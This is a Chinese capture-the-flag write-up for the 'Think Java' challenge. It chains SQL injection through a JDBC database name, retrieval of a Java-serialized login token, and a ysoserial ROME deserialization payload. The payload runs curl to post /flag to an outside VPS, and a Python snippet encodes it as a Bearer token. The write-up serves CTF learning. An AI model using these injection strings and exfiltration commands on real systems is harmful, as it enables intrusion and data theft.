第二届网鼎杯(第三场:朱雀组)Think Java

首先题目给了一些class文件,这些不需要多说,直接jd-gui反编译或者使用fernflower反编译也可以

解题过程

  • 先扫一下目录
    得到swagger-ui.html
    发现几个api接口

  • sql注入得到密码
    第二届网鼎杯(第三场:朱雀组)Think Java_第1张图片源代码中明显存在SQL注入(dbName可控),但是必须满足两个条件,否则不能连接数据库

    • #号在引号里面时当做填充符,没有实际意义(这个只是在jdbc中这样?还没来得及验证)
    • 最终:
      • jdbc:mysql://mysqldbserver:3306/myapp#‘ union select 1#
      • Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema =‘myapp#‘ union select 1# and table_name = ‘xxx’
        第二届网鼎杯(第三场:朱雀组)Think Java_第2张图片第二届网鼎杯(第三场:朱雀组)Think Java_第3张图片这儿的#号对查询没有影响~
    • 查询密码
      第二届网鼎杯(第三场:朱雀组)Think Java_第4张图片
  • 登录获得token
    第二届网鼎杯(第三场:朱雀组)Think Java_第5张图片这个一看就知道是java的序列化后的base64编码(如果以aced则为java序列化后的hex编码)

    然后我们把返回的data值输入到/common/user/current 接口中,则显示操作成功
    第二届网鼎杯(第三场:朱雀组)Think Java_第6张图片所以我们知道会在这个接口中进行java的反序列化

  • getflag
    我们直接用ysoserial来生成反序列化的值
    在这里插入图片描述java -jar ysoserial-0.0.5.jar ROME "curl http://174.1.101.83:555 -d @/flag" > HyyMbb.bin

然后进行编码

import base64
file = open("HyyMbb.bin","rb")
now = file.read()
ba = base64.b64encode(now)
#print(ba)
print("Bearer "+ba.decode('utf-8'))
#可以解注释此段,并注释上一条print,便于快速测试
file.close()

发送数据,在vps上监听555端口就可以获得flag了~~

参考链接

你可能感兴趣的:(ctf)